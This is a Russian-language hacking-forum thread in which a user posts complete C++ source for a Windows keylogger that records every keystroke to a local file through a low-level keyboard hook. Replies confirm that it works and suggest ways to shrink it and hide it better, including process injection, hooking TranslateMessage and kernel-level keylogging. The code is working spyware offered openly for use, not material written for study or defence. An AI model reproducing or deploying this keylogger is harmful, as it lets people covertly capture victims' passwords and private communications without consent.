• XSS.stack #1 – первый литературный журнал от юзеров форума

Локальный келоггер на С++

BlagJack

CD-диск
Пользователь
Регистрация
14.02.2009
Сообщения
10
Реакции
3
Без всяких ДЛЛ . :)


Код:
#define _WIN32_WINNT 0x1337

#include <fstream>
#include <windows.h>

using namespace std;

HHOOK keyboardHook;

LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
	PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);

	// If key is being pressed
	if (wParam == WM_KEYDOWN) {
        
        ofstream out("keys.txt", ios::app);
        
  switch (p->vkCode) {

  	// Invisible keys
  	case VK_CAPITAL:	out << "[CAPLOCK]";  break;
  	case VK_LSHIFT:  out << "[LSHIFT]";  break;
  	case VK_RSHIFT:  out << "[RSHIFT]";  break;
  	case VK_LCONTROL:	out << "[LCTRL]";  break;
  	case VK_RCONTROL:	out << "[RCTRL]";  break;
  	case VK_INSERT:  out << "[INSERT]";  break;
  	case VK_END:  out << "[END]";  	break;
  	case VK_PRINT:  out << "[PRINT]";  break;
  	case VK_DELETE:  out << "[DEL]";  	break;
  	case VK_BACK:  out << "[BK]";  	break;

  	case VK_LEFT:  out << "[left]";  break;
  	case VK_RIGHT:  out << "[right]";  break;
  	case VK_UP:  	out << "[UP]";  	break;
  	case VK_DOWN:  out << "[DOWN]";  break;

  	// Visible keys
  	default:
    out << "[" << char(p->vkCode) << "]";
    

  }
  out.close();
	}

	return CallNextHookEx(NULL, nCode, wParam, lParam);
}

void keepAlive()
{
    MSG message;
    while (GetMessage(&message,NULL,0,0))
    {
        TranslateMessage( &message );
        DispatchMessage( &message );
    }
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {
    
	keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, keyboardHookProc, hInstance, 0);

    keepAlive();
    
    UnhookWindowsHookEx(keyboardHook);

	return 0;
}
 
норм, + однозначно , потестил...

>#include <fstream>
>using namespace std;
а вот это не по-хекерски , размер release версии 172 кб
лучше использовать
HANDLE hand = CreateFile(...
SetFilePointer(hand,0,FILE_END);
WriteFile(hand,...
CloseHandle(hand);
>out << "[" << char(p->vkCode) << "]" а нафига это, всмысле квадратные скобки
 
А я вот вижу такую проблему с этим хуком:
The hook procedure should process a message in less time than the data entry specified in the LowLevelHooksTimeout value in the following registry key:
HKEY_CURRENT_USER\Control Panel\Desktop

The value is in milliseconds. If the hook procedure does not return during this interval, the system will pass the message to the next hook.
P.S. ремарка к LowLevelKeyboardProc
 
Gr.dog
Это ты в общем говоришь или к теме дллки? Вроде бы тут все равно.
И вообще, думаю можно уложиться в каллбаке в дефолтный таймаут, или же дописать пару строчек и в реестре прописать нужный таймаут.

Да, и раз ты видишь проблему, то должен видеть и альтернативное решение... Где?
 
SilverT
Это проблема конкретно хука WH_KEYBOARD_LL.
Я констатировал факт что у этого хука есть вот такое вот ограничени, если говорить об альтернативных методах хука то использовать хук WH_KEYBOARD, или вообще отказаться от SetWindowsHookEx и использовать альтернативные методы перехвата:
ДДЛ, перехват на уровне ядра или если не устраевает лишний исполняймый файл то инжект в процессы и перехват например TranslateMessage
 
Gr.dog
Зач0т

Мне вот такая вещь по душе r0keylog
Яркий пример того, что все гениальное - просто!
Собсно если из режима ядра никуда не уходить, то можно обойтись и без юзермодного парсера.
 
SilverT
Целиком и полностью поддерживаю, для ядерных кейлогиров не нужны придатки виде юзер мод приложений ибо лишня связь и бесполезность...
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх